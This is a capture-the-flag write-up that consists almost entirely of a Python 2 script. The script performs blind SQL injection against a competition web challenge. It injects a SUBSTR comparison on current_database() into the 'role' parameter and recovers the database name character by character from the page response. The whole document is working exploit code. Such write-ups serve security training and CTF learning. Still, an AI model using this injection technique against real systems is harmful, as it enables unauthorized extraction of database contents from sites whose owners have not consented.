writeup bsqli web7

#!/usr/bin/env python
import requests
import urllib
import base64
import string
import sys

url='https://webvulnerable07.cybercamp.es:8507/index.php'
alpha=string.uppercase+string.lowercase
digits=string.digits
testchars=alpha+str(digits)+'{'+'}'
dbstring=''
pos=0
cookies={}
for i in range(14):
        pos = i + 1;
        for tried in testchars:
                urlvuln= url + "?role=admin' AND (SELECT SUBSTR((SELECT current_database()),1,%s))='%s" % (pos,  dbstring+tried)
                r = requests.get(urlvuln,cookies=cookies)
                print urlvuln
                if '2016-06-12' in r.content:
                        print 'FOUND' + tried                        
                        dbstring += tried
 

print dbstring